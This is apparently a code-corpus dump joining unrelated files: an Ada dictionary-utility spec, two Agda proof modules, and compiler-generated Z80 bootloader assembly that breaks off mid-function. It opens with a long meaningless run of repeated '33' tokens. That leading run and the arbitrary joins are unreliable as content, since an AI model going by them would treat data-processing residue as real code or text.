33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
src/support_utils/support_utils-line_stuff.ads | spr93/whitakers-words | 204 | 918 | <reponame>spr93/whitakers-words
-- WORDS, a Latin dictionary, by <NAME> (USAF, Retired)
--
-- Copyright <NAME> (1936–2010)
--
-- This is a free program, which means it is proper to copy it and pass
-- it on to your friends. Consider it a developmental item for which
-- there is no charge. However, just for form, it is Copyrighted
-- (c). Permission is hereby freely given for any and all use of program
-- and data. You can sell it as your own, but at least tell me.
--
-- This version is distributed without obligation, but the developer
-- would appreciate comments and suggestions.
--
-- All parts of the WORDS system, source code and data files, are made freely
-- available to anyone who wishes to use them, for whatever purpose.
with Ada.Text_IO; use Ada.Text_IO;
with Latin_Utils.Inflections_Package; use Latin_Utils.Inflections_Package;
with Latin_Utils.Dictionary_Package; use Latin_Utils.Dictionary_Package;
with Support_Utils.Addons_Package; use Support_Utils.Addons_Package;
with Support_Utils.Uniques_Package; use Support_Utils.Uniques_Package;
use Latin_Utils;
package Support_Utils.Line_Stuff is
pragma Elaborate_Body;
type Dictionary_Item;
type Dictionary_List is access Dictionary_Item;
type Dictionary_Item is
record
De : Dictionary_Entry := Null_Dictionary_Entry;
Succ : Dictionary_List;
end record;
type Dictionary is array (Character) of Dictionary_List;
Null_Dictionary : Dictionary := (others => null);
--DICT, UNIQUES, QUES : DICTIONARY := NULL_DICTIONARY;
Dict, Uniques : Dictionary := Null_Dictionary;
Dict_Loc : Dictionary := Null_Dictionary;
type Tackon_Line is
record
Pofs : Part_Of_Speech_Type := Tackon;
Tack : Stem_Type := Null_Stem_Type;
Entr : Tackon_Entry := Null_Tackon_Entry;
Mean : Meaning_Type := Null_Meaning_Type;
end record;
Null_Tackon_Line : Tackon_Line;
package Tackon_Line_Io is
Default_Width : Natural;
procedure Get (F : in File_Type; P : out Tackon_Line);
procedure Get (P : out Tackon_Line);
procedure Put (F : in File_Type; P : in Tackon_Line);
procedure Put (P : in Tackon_Line);
procedure Get (S : in String; P : out Tackon_Line; Last : out Integer);
procedure Put (S : out String; P : in Tackon_Line);
end Tackon_Line_Io;
type Prefix_Line is
record
Pofs : Part_Of_Speech_Type := Prefix;
Fix : Fix_Type := Null_Fix_Type;
Connect : Character := ' ';
Entr : Prefix_Entry := Null_Prefix_Entry;
Mean : Meaning_Type := Null_Meaning_Type;
end record;
Null_Prefix_Line : Prefix_Line;
package Prefix_Line_Io is
Default_Width : Natural;
procedure Get (F : in File_Type; P : out Prefix_Line);
procedure Get (P : out Prefix_Line);
procedure Put (F : in File_Type; P : in Prefix_Line);
procedure Put (P : in Prefix_Line);
procedure Get (S : in String; P : out Prefix_Line; Last : out Integer);
procedure Put (S : out String; P : in Prefix_Line);
end Prefix_Line_Io;
type Suffix_Line is
record
Pofs : Part_Of_Speech_Type := Suffix;
Fix : Fix_Type := Null_Fix_Type;
Connect : Character := ' ';
Entr : Suffix_Entry := Null_Suffix_Entry;
Mean : Meaning_Type := Null_Meaning_Type;
end record;
Null_Suffix_Line : Suffix_Line;
package Suffix_Line_Io is
Default_Width : Natural;
procedure Get (F : in File_Type; P : out Suffix_Line);
procedure Get (P : out Suffix_Line);
procedure Put (F : in File_Type; P : in Suffix_Line);
procedure Put (P : in Suffix_Line);
procedure Get (S : in String; P : out Suffix_Line; Last : out Integer);
procedure Put (S : out String; P : in Suffix_Line);
end Suffix_Line_Io;
type Unique_Entry is
record
Stem : Stem_Type := Null_Stem_Type;
Qual : Quality_Record := Null_Quality_Record;
Kind : Kind_Entry := Null_Kind_Entry;
Tran : Translation_Record := Null_Translation_Record;
end record;
package Unique_Entry_Io is
Default_Width : Field;
procedure Get (F : in File_Type; P : out Unique_Entry);
procedure Get (P : out Unique_Entry);
procedure Put (F : in File_Type; P : in Unique_Entry);
procedure Put (P : in Unique_Entry);
procedure Get (S : in String; P : out Unique_Entry; Last : out Integer);
procedure Put (S : out String; P : in Unique_Entry);
end Unique_Entry_Io;
procedure Load_Stem_File (D_K : Dictionary_Kind);
procedure Load_Dictionary (Dict : in out Dictionary;
Dictionary_File_Name : String);
procedure Load_Uniques (Unq : in out Latin_Uniques; File_Name : in String);
end Support_Utils.Line_Stuff;
|
Cubical/Data/NatMinusOne/Base.agda | limemloh/cubical | 0 | 14057 | {-# OPTIONS --cubical --no-exact-split --safe #-}
module Cubical.Data.NatMinusOne.Base where
open import Cubical.Core.Primitives
open import Cubical.Data.Nat
data ℕ₋₁ : Set where
neg1 : ℕ₋₁
suc : (n : ℕ₋₁) → ℕ₋₁
_+₋₁_ : ℕ → ℕ₋₁ → ℕ₋₁
0 +₋₁ n = n
suc m +₋₁ n = suc (m +₋₁ n)
ℕ→ℕ₋₁ : ℕ → ℕ₋₁
ℕ→ℕ₋₁ n = suc (n +₋₁ neg1)
1+_ : ℕ₋₁ → ℕ
1+ neg1 = zero
1+ suc n = suc (1+ n)
-1+_ : ℕ → ℕ₋₁
-1+ zero = neg1
-1+ suc n = suc (-1+ n)
|
src/fot/FOTC/Program/ABP/Fair/PropertiesATP.agda | asr/fotc | 11 | 2068 | <filename>src/fot/FOTC/Program/ABP/Fair/PropertiesATP.agda
------------------------------------------------------------------------------
-- Fair properties
------------------------------------------------------------------------------
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
{-# OPTIONS --no-universe-polymorphism #-}
{-# OPTIONS --without-K #-}
module FOTC.Program.ABP.Fair.PropertiesATP where
open import FOTC.Base
open import FOTC.Base.List
open import FOTC.Data.List
open import FOTC.Program.ABP.Fair.Type
open import FOTC.Program.ABP.Terms
------------------------------------------------------------------------------
-- Because a greatest post-fixed point is a fixed-point, then the Fair
-- predicate is also a pre-fixed point of the functional FairF, i.e.
--
-- FairF Fair ≤ Fair (see FOTC.Program.ABP.Fair).
-- See Issue https://github.com/asr/apia/issues/81 .
Fair-inA : D → Set
Fair-inA os = ∃[ ft ] ∃[ os' ] F*T ft ∧ os ≡ ft ++ os' ∧ Fair os'
{-# ATP definition Fair-inA #-}
Fair-in : ∀ {os} → ∃[ ft ] ∃[ os' ] F*T ft ∧ os ≡ ft ++ os' ∧ Fair os' →
Fair os
Fair-in h = Fair-coind Fair-inA h' h
where
postulate
h' : ∀ {os} → Fair-inA os →
∃[ ft ] ∃[ os' ] F*T ft ∧ os ≡ ft ++ os' ∧ Fair-inA os'
{-# ATP prove h' #-}
head-tail-Fair : ∀ {os} → Fair os → os ≡ T ∷ tail₁ os ∨ os ≡ F ∷ tail₁ os
head-tail-Fair {os} Fos with Fair-out Fos
... | (.(T ∷ []) , os' , f*tnil , h , Fos') = prf
where
postulate prf : os ≡ T ∷ tail₁ os ∨ os ≡ F ∷ tail₁ os
{-# ATP prove prf #-}
... | (.(F ∷ ft) , os' , f*tcons {ft} FTft , h , Fos') = prf
where
postulate prf : os ≡ T ∷ tail₁ os ∨ os ≡ F ∷ tail₁ os
{-# ATP prove prf #-}
tail-Fair : ∀ {os} → Fair os → Fair (tail₁ os)
tail-Fair {os} Fos with Fair-out Fos
... | .(T ∷ []) , os' , f*tnil , h , Fos' = prf
where
postulate prf : Fair (tail₁ os)
{-# ATP prove prf #-}
... | .(F ∷ ft) , os' , f*tcons {ft} FTft , h , Fos' = prf
where
postulate prf : Fair (tail₁ os)
{-# ATP prove prf Fair-in #-}
|
bootloader_UART_8250/_build/Z80-Bootloader-v1.asm | alfreedom/smz80-SDK | 0 | 165224 | ;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 3.5.0 #9253 (Jun 20 2015) (Linux)
; This file was generated Fri Sep 22 15:19:39 2017
;--------------------------------------------------------
.module main
.optsdcc -mz80
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _main
.globl _init_system
.globl _isr_vector38
.globl _isr_vector66
.globl _uart_print
.globl _uart_interrupt_isr
.globl _isprint
.globl _flag
.globl _cont
.globl ___ret_aux
.globl _address_low
.globl _address_hight
.globl _data
.globl _write_byte_EEPROM_ptr
.globl _delay_1ms_ptr
.globl _size
.globl _dir_destination
.globl _dir_origin
.globl _delay_1ms
.globl _delay_ms
.globl _delay_10us
.globl _delay_100us
.globl _copeaBloque
.globl _uart_init
.globl _uart_set_baudrate
.globl _uart_write
.globl _uart_write_buffer
.globl _uart_read
.globl _uart_read_buffer
.globl _uart_available
.globl _uart_flush
.globl _uart_read_line
.globl _uart_disable_interrupts
.globl _uart_enable_interrupts
.globl _printBuffer
.globl _eeprom_write
.globl _eeprom_erase
.globl _eeprom_write_buffer
.globl _eeprom_read
.globl _eeprom_read_buffer
.globl _write_byte
.globl _packet_fill
.globl _packet_check
.globl _packet_read
.globl _packet_send
.globl _bootloader_init
.globl _bootloader_check_program_commnad
.globl _bootloader_run
.globl _bootloader_start_app
.globl _io_write
.globl _io_read
.globl _io_write_buffer
.globl _io_read_buffer
.globl _ppi_init
.globl _ppi_set_portc_bit
.globl _ppi_clear_portc_bit
.globl _test_program_command
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
_URRBR = 0x0070
_URTHR = 0x0070
_URIER = 0x0071
_URIIR = 0x0072
_URFCR = 0x0072
_URLCR = 0x0073
_URLSR = 0x0075
_URMCR = 0x0074
_URMSR = 0x0076
_URDLL = 0x0070
_URDLM = 0x0071
_PPI_PORTA = 0x0000
_PPI_PORTB = 0x0001
_PPI_PORTC = 0x0002
_PPI_CTRL = 0x0003
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _DATA
_dir_origin::
.ds 2
_dir_destination::
.ds 2
_size::
.ds 2
_delay_1ms_ptr::
.ds 2
__uart_in_buffer:
.ds 1024
__in_buffer_index:
.ds 2
__out_buffer_index:
.ds 2
__is_interrupt_enable:
.ds 1
_eeprom_ptr:
.ds 2
_write_byte_EEPROM_ptr::
.ds 2
_data::
.ds 1
_address_hight::
.ds 1
_address_low::
.ds 1
_aux_address_l:
.ds 1
_aux_address_h:
.ds 1
_old_app_int_isr_addr:
.ds 2
_old_app_int_isr_addr_l:
.ds 1
_old_app_int_isr_addr_h:
.ds 1
_old_app_nmi_isr_addr:
.ds 2
_old_app_nmi_isr_addr_l:
.ds 1
_old_app_nmi_isr_addr_h:
.ds 1
_pkg_in:
.ds 260
_pkg_out:
.ds 260
___ret_aux::
.ds 1
_cont::
.ds 2
_flag::
.ds 2
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _INITIALIZED
_ptr_int_isr:
.ds 2
_ptr_int_isr_l:
.ds 2
_ptr_int_isr_h:
.ds 2
_ptr_nmi_isr:
.ds 2
_ptr_nmi_isr_l:
.ds 2
_ptr_nmi_isr_h:
.ds 2
_app_main_addr:
.ds 2
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area _DABS (ABS)
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area _HOME
.area _GSINIT
.area _GSFINAL
.area _GSINIT
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area _HOME
.area _HOME
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area _CODE
;./include/z80utils.h:86: void delay_1ms(){
; ---------------------------------
; Function delay_1ms
; ---------------------------------
_delay_1ms::
;./include/z80utils.h:93: __endasm;
EXX
EX AF,AF'
;./include/z80utils.h:96: for(j=0;j<0x04;j++)
ld hl,#0x0000
00106$:
;./include/z80utils.h:97: for(i=0;i<0x1FF;i++)
ld de,#0x01FF
00105$:
;./include/z80utils.h:98: __asm__("nop");
nop
ld c,e
ld b,d
dec bc
ld e, c
;./include/z80utils.h:97: for(i=0;i<0x1FF;i++)
ld a,b
ld d,a
or a,c
jr NZ,00105$
;./include/z80utils.h:96: for(j=0;j<0x04;j++)
inc hl
ld a,l
sub a, #0x04
ld a,h
rla
ccf
rra
sbc a, #0x80
jr C,00106$
;./include/z80utils.h:112: __endasm;
EX AF,AF'
EXX
ret
;./include/z80utils.h:115: void delay_ms(int ms){
; ---------------------------------
; Function delay_ms
; ---------------------------------
_delay_ms::
push ix
ld ix,#0
add ix,sp
;./include/z80utils.h:121: __endasm;
EXX
EX AF,AF'
;./include/z80utils.h:125: while(ms--)
ld c,4 (ix)
ld b,5 (ix)
00102$:
ld e, c
ld d, b
dec bc
ld a,d
or a,e
jr Z,00104$
;./include/z80utils.h:126: for(i=0;i<0x10A;i++)
ld hl,#0x010A
00107$:
;./include/z80utils.h:127: __asm__("nop");
nop
ex de,hl
dec de
ld l, e
;./include/z80utils.h:126: for(i=0;i<0x10A;i++)
ld a,d
ld h,a
or a,e
jr NZ,00107$
jr 00102$
00104$:
;./include/z80utils.h:141: __endasm;
EX AF,AF'
EXX
pop ix
ret
;./include/z80utils.h:144: void delay_10us(){
; ---------------------------------
; Function delay_10us
; ---------------------------------
_delay_10us::
;./include/z80utils.h:156: __endasm;
EXX
EX AF,AF'
LD B,#0x2
LOOP_10:
DJNZ LOOP_10
EX AF,AF'
EXX
ret
;./include/z80utils.h:168: void delay_100us(){
; ---------------------------------
; Function delay_100us
; ---------------------------------
_delay_100us::
;./include/z80utils.h:181: __endasm;
EXX
EX AF,AF'
LD B,#0x3A
LOOP_100:
DJNZ LOOP_100
EX AF,AF'
EXX
RET
ret
;./include/z80utils.h:192: void copeaBloque(uint16_t origen,uint16_t destino, uint8_t tam)
; ---------------------------------
; Function copeaBloque
; ---------------------------------
_copeaBloque::
;./include/z80utils.h:194: dir_origin = origen;
ld iy,#2
add iy,sp
ld a,0 (iy)
ld iy,#_dir_origin
ld 0 (iy),a
ld iy,#2
add iy,sp
ld a,1 (iy)
ld iy,#_dir_origin
ld 1 (iy),a
;./include/z80utils.h:195: dir_destination=destino;
ld iy,#4
add iy,sp
ld a,0 (iy)
ld iy,#_dir_destination
ld 0 (iy),a
ld iy,#4
add iy,sp
ld a,1 (iy)
ld iy,#_dir_destination
ld 1 (iy),a
;./include/z80utils.h:196: size = tam;
ld iy,#6
add iy,sp
ld a,0 (iy)
ld iy,#_size
ld 0 (iy),a
ld iy,#_size
ld 1 (iy),#0x00
;./include/z80utils.h:202: __endasm;
LD HL,(_dir_origin)
LD DE,(_dir_destination)
LD BC,(_size)
LDIR
ret
;./include/z80uart.h:273: void uart_init(const uart_cfg_t *uart_config){
; ---------------------------------
; Function uart_init
; ---------------------------------
_uart_init::
push ix
ld ix,#0
add ix,sp
;./include/z80uart.h:276: uart_set_baudrate(uart_config->baudrate);
ld e,4 (ix)
ld d,5 (ix)
ld a,(de)
push de
push af
inc sp
call _uart_set_baudrate
inc sp
pop de
;./include/z80uart.h:278: URIER = uart_config->interrupt;
ld hl,#0x0004
add hl,de
ld a,(hl)
out (_URIER),a
;./include/z80uart.h:279: _is_interrupt_enable = uart_config->interrupt;
ld (#__is_interrupt_enable + 0),a
;./include/z80uart.h:281: URLCR = (uart_config->stop_bits) | (uart_config->parity) | (uart_config->word_length);
ld l, e
ld h, d
inc hl
ld b,(hl)
ld l, e
ld h, d
inc hl
inc hl
ld a,(hl)
or a, b
ld h,d
ld l, e
inc hl
inc hl
inc hl
ld d,(hl)
or a, d
out (_URLCR),a
;./include/z80uart.h:282: _in_buffer_index = _out_buffer_index = 0;
ld hl,#0x0000
ld (__out_buffer_index),hl
ld l, #0x00
ld (__in_buffer_index),hl
pop ix
ret
;./include/z80uart.h:285: void uart_set_baudrate(const uart_baudrate_t baudrate){
; ---------------------------------
; Function uart_set_baudrate
; ---------------------------------
_uart_set_baudrate::
;./include/z80uart.h:287: URLCR |= BV(UDLAB);
in a,(_URLCR)
set 7, a
out (_URLCR),a
;./include/z80uart.h:289: URDLL = baudrate;
ld hl, #2+0
add hl, sp
ld a, (hl)
out (_URDLL),a
;./include/z80uart.h:291: URDLM = ((uint16_t)baudrate)>>8;
ld a, #0x00
out (_URDLM),a
;./include/z80uart.h:293: URLCR &= ~BV(UDLAB);
in a,(_URLCR)
and a, #0x7F
out (_URLCR),a
ret
;./include/z80uart.h:296: void uart_write(uint8_t c){
; ---------------------------------
; Function uart_write
; ---------------------------------
_uart_write::
;./include/z80uart.h:298: while( !(URLSR & BV(UTHRE)))
00101$:
in a,(_URLSR)
and a, #0x20
jr NZ,00103$
;./include/z80uart.h:299: NOP();
NOP
jr 00101$
00103$:
;./include/z80uart.h:301: URTHR = (char)c;
ld hl, #2+0
add hl, sp
ld a, (hl)
out (_URTHR),a
ret
;./include/z80uart.h:305: void uart_write_buffer(uint8_t* buffer, int count){
; ---------------------------------
; Function uart_write_buffer
; ---------------------------------
_uart_write_buffer::
;./include/z80uart.h:307: for (i = 0; i < count; i++)
ld de,#0x0000
00103$:
ld hl,#4
add hl,sp
ld a,e
sub a, (hl)
ld a,d
inc hl
sbc a, (hl)
jp PO, 00116$
xor a, #0x80
00116$:
ret P
;./include/z80uart.h:308: uart_write(buffer[i]);
ld hl, #2
add hl, sp
ld a, (hl)
inc hl
ld h, (hl)
ld l, a
add hl,de
ld h,(hl)
push de
push hl
inc sp
call _uart_write
inc sp
pop de
;./include/z80uart.h:307: for (i = 0; i < count; i++)
inc de
jr 00103$
;./include/z80uart.h:311: uint8_t uart_read(){
; ---------------------------------
; Function uart_read
; ---------------------------------
_uart_read::
;./include/z80uart.h:316: while(uart_available()<=0)
00101$:
call _uart_available
xor a, a
cp a, l
sbc a, h
jp PO, 00120$
xor a, #0x80
00120$:
jp P,00101$
;./include/z80uart.h:321: incoming = _uart_in_buffer[_out_buffer_index++];
ld de,(__out_buffer_index)
ld hl, #__out_buffer_index+0
inc (hl)
jr NZ,00121$
ld hl, #__out_buffer_index+1
inc (hl)
00121$:
ld hl,#__uart_in_buffer
add hl,de
ld e,(hl)
ld d,#0x00
;./include/z80uart.h:322: if(_out_buffer_index == UART_BUFFER_SIZE)
ld a,(#__out_buffer_index + 0)
or a, a
jr NZ,00105$
ld a,(#__out_buffer_index + 1)
sub a, #0x04
jr NZ,00105$
;./include/z80uart.h:323: _out_buffer_index=0;
ld hl,#0x0000
ld (__out_buffer_index),hl
00105$:
;./include/z80uart.h:324: return incoming;
ld l,e
ret
;./include/z80uart.h:355: int uart_read_buffer(uint8_t* buffer, int count){
; ---------------------------------
; Function uart_read_buffer
; ---------------------------------
_uart_read_buffer::
;./include/z80uart.h:358: if(uart_available() < count)
call _uart_available
ld d,l
ld e,h
ld hl,#4
add hl,sp
ld a,d
sub a, (hl)
ld a,e
inc hl
sbc a, (hl)
jp PO, 00122$
xor a, #0x80
00122$:
jp P,00111$
;./include/z80uart.h:359: return -1;
ld hl,#0xFFFF
ret
;./include/z80uart.h:361: for (i = 0; i < count; i++)
00111$:
ld de,#0x0000
00105$:
ld hl,#4
add hl,sp
ld a,e
sub a, (hl)
ld a,d
inc hl
sbc a, (hl)
jp PO, 00123$
xor a, #0x80
00123$:
jp P,00103$
;./include/z80uart.h:362: buffer[i]=uart_read();
ld hl, #2
add hl, sp
ld a, (hl)
inc hl
ld h, (hl)
ld l, a
add hl,de
push hl
push de
call _uart_read
ld a,l
pop de
pop hl
ld (hl),a
;./include/z80uart.h:361: for (i = 0; i < count; i++)
inc de
jr 00105$
00103$:
;./include/z80uart.h:364: return i;
ex de,hl
ret
;./include/z80uart.h:367: int uart_available(){
; ---------------------------------
; Function uart_available
; ---------------------------------
_uart_available::
;./include/z80uart.h:368: int count=_in_buffer_index - _out_buffer_index;
ld hl,#__out_buffer_index
ld a,(#__in_buffer_index + 0)
sub a, (hl)
ld d,a
ld a,(#__in_buffer_index + 1)
inc hl
sbc a, (hl)
ld e,a
;./include/z80uart.h:370: return (count < 0) ? UART_BUFFER_SIZE - _out_buffer_index-1 : count ;
bit 7, e
jr Z,00103$
ld hl,#__out_buffer_index
ld a,#0xFF
sub a, (hl)
ld d,a
ld a,#0x03
inc hl
sbc a, (hl)
ld e,a
00103$:
ld l, d
ld h, e
ret
;./include/z80uart.h:374: void uart_flush(){
; ---------------------------------
; Function uart_flush
; ---------------------------------
_uart_flush::
;./include/z80uart.h:376: _in_buffer_index = _out_buffer_index = 0;
ld hl,#0x0000
ld (__out_buffer_index),hl
ld l, #0x00
ld (__in_buffer_index),hl
ret
;./include/z80uart.h:382: void uart_interrupt_isr(){
; ---------------------------------
; Function uart_interrupt_isr
; ---------------------------------
_uart_interrupt_isr::
;./include/z80uart.h:390: __endasm;
push af
push bc
push de
push hl
push iy
;./include/z80uart.h:393: _uart_in_buffer[_in_buffer_index++] = URRBR;
ld de,(__in_buffer_index)
ld hl, #__in_buffer_index+0
inc (hl)
jr NZ,00109$
ld hl, #__in_buffer_index+1
inc (hl)
00109$:
ld hl,#__uart_in_buffer
add hl,de
in a,(_URRBR)
ld (hl),a
;./include/z80uart.h:394: if(_in_buffer_index == UART_BUFFER_SIZE)
ld iy,#__in_buffer_index
ld a,0 (iy)
or a, a
jr NZ,00102$
ld iy,#__in_buffer_index
ld a,1 (iy)
sub a, #0x04
jr NZ,00102$
;./include/z80uart.h:395: _in_buffer_index=0;
ld hl,#0x0000
ld (__in_buffer_index),hl
00102$:
;./include/z80uart.h:405: __endasm;
pop iy
pop hl
pop de
pop bc
pop af
ei
ret
ret
;./include/z80uart.h:409: void uart_print(const uint8_t* str){
; ---------------------------------
; Function uart_print
; ---------------------------------
_uart_print::
;./include/z80uart.h:412: while(*str)
pop bc
pop hl
push hl
push bc
00101$:
ld a,(hl)
or a, a
ret Z
;./include/z80uart.h:413: uart_write(*str++); // envía el siguiente caracter.
inc hl
push hl
push af
inc sp
call _uart_write
inc sp
pop hl
jr 00101$
;./include/z80uart.h:416: int uart_read_line(uint8_t* str){
; ---------------------------------
; Function uart_read_line
; ---------------------------------
_uart_read_line::
push ix
ld ix,#0
add ix,sp
;./include/z80uart.h:418: int n=0;
ld bc,#0x0000
;./include/z80uart.h:420: while(n<MAXLINE-1 && (c=uart_read()) != '\n' && c !='\r'){
00111$:
ld a,c
sub a, #0x63
ld a,b
rla
ccf
rra
sbc a, #0x80
jr NC,00113$
push bc
call _uart_read
ld a,l
pop bc
ld d,a
sub a, #0x0A
jr Z,00113$
;./include/z80uart.h:422: if(c == 0x7F || c==0x08){
ld a,d
cp a,#0x0D
jr Z,00113$
cp a,#0x7F
jr Z,00105$
sub a, #0x08
jr NZ,00106$
00105$:
;./include/z80uart.h:424: if(n>0){
xor a, a
cp a, c
sbc a, b
jp PO, 00149$
xor a, #0x80
00149$:
jp P,00111$
;./include/z80uart.h:425: str[--n]='\0';
dec bc
ld l,4 (ix)
ld h,5 (ix)
add hl,bc
ld (hl),#0x00
;./include/z80uart.h:426: uart_write(c);
push bc
push de
push de
inc sp
call _uart_write
inc sp
ld a,#0x20
push af
inc sp
call _uart_write
inc sp
inc sp
call _uart_write
inc sp
pop bc
jr 00111$
00106$:
;./include/z80uart.h:432: if(isprint(c))
ld l,d
ld h,#0x00
push bc
push de
push hl
call _isprint
pop af
pop de
pop bc
ld a,h
or a,l
jr Z,00111$
;./include/z80uart.h:434: str[n++]=c;
push bc
pop iy
inc bc
push bc
ld c,4 (ix)
ld b,5 (ix)
add iy, bc
pop bc
ld 0 (iy), d
;./include/z80uart.h:435: uart_write(c);
push bc
push de
inc sp
call _uart_write
inc sp
pop bc
jp 00111$
00113$:
;./include/z80uart.h:439: str[n]='\0';
ld l,4 (ix)
ld h,5 (ix)
add hl,bc
ld (hl),#0x00
;./include/z80uart.h:440: uart_write('\n');
push bc
ld a,#0x0A
push af
inc sp
call _uart_write
inc sp
;./include/z80uart.h:441: return n;
pop hl
pop ix
ret
;./include/z80uart.h:445: void uart_disable_interrupts(){
; ---------------------------------
; Function uart_disable_interrupts
; ---------------------------------
_uart_disable_interrupts::
;./include/z80uart.h:446: URIER = 0;
ld a,#0x00
out (_URIER),a
;./include/z80uart.h:447: _is_interrupt_enable = 0;
ld hl,#__is_interrupt_enable + 0
ld (hl), #0x00
ret
;./include/z80uart.h:450: void uart_enable_interrupts(uart_interrupt_t int_cfg){
; ---------------------------------
; Function uart_enable_interrupts
; ---------------------------------
_uart_enable_interrupts::
;./include/z80uart.h:451: URIER = int_cfg;
ld hl, #2+0
add hl, sp
ld a, (hl)
out (_URIER),a
;./include/z80uart.h:452: _is_interrupt_enable = int_cfg;
ld (#__is_interrupt_enable + 0),a
ret
;./include/z80uart.h:455: void printBuffer()
; ---------------------------------
; Function printBuffer
; ---------------------------------
_printBuffer::
;./include/z80uart.h:458: for (i=0;i<UART_BUFFER_SIZE;i++)
ld de,#0x0000
00102$:
;./include/z80uart.h:459: uart_write(_uart_in_buffer[i]);
ld hl,#__uart_in_buffer
add hl,de
ld h,(hl)
push de
push hl
inc sp
call _uart_write
inc sp
pop de
;./include/z80uart.h:458: for (i=0;i<UART_BUFFER_SIZE;i++)
inc de
ld a,d
xor a, #0x80
sub a, #0x84
jr C,00102$
ret
;./include/z80eeprom.h:73: uint8_t eeprom_write(uint16_t address, uint8_t number){
; ---------------------------------
; Function eeprom_write
; ---------------------------------
_eeprom_write::
;./include/z80eeprom.h:80: dir_low = address;
ld iy,#2
add iy,sp
ld d,0 (iy)
;./include/z80eeprom.h:81: dir_hight = (address >> 8);
ld b,1 (iy)
;./include/z80eeprom.h:83: if(address > BOOT_RESET_ADDR && address < BOOT_START_ADDR){
ld a,#0x05
cp a, 0 (iy)
ld a,#0x00
sbc a, 1 (iy)
jr NC,00102$
ld a,1 (iy)
sub a, #0x68
jr NC,00102$
;./include/z80eeprom.h:84: write_byte_EEPROM_ptr(dir_hight,dir_low,number);//apuntador a funcion en ram para escritura en ram.
ld hl, #4+0
add hl, sp
ld a, (hl)
push af
inc sp
push de
inc sp
push bc
inc sp
ld hl,(_write_byte_EEPROM_ptr)
call ___sdcc_call_hl
pop af
inc sp
;./include/z80eeprom.h:87: NOP();
NOP
;./include/z80eeprom.h:88: return 1;
ld l,#0x01
ret
00102$:
;./include/z80eeprom.h:91: return 0;
ld l,#0x00
ret
;./include/z80eeprom.h:95: void eeprom_erase(uint16_t address, uint16_t count) {
; ---------------------------------
; Function eeprom_erase
; ---------------------------------
_eeprom_erase::
push ix
ld ix,#0
add ix,sp
;./include/z80eeprom.h:98: for(addr = address; addr < (address+count); addr ++)
ld c,4 (ix)
ld b,5 (ix)
ld a,6 (ix)
add a, c
ld d,a
ld a,7 (ix)
adc a, b
ld e,a
00103$:
ld a,c
sub a, d
ld a,b
sbc a, e
jr NC,00105$
;./include/z80eeprom.h:99: eeprom_write(addr, 0xFF);
push bc
push de
ld a,#0xFF
push af
inc sp
push bc
call _eeprom_write
pop af
inc sp
pop de
pop bc
;./include/z80eeprom.h:98: for(addr = address; addr < (address+count); addr ++)
inc bc
jr 00103$
00105$:
pop ix
ret
;./include/z80eeprom.h:102: uint8_t eeprom_write_buffer(uint16_t address, uint8_t* data_buffer, uint16_t data_length){
; ---------------------------------
; Function eeprom_write_buffer
; ---------------------------------
_eeprom_write_buffer::
push ix
ld ix,#0
add ix,sp
;./include/z80eeprom.h:106: for (i = 0; i < data_length; i++){
ld de,#0x0000
00105$:
ld c, e
ld b, d
ld a,c
sub a, 8 (ix)
ld a,b
sbc a, 9 (ix)
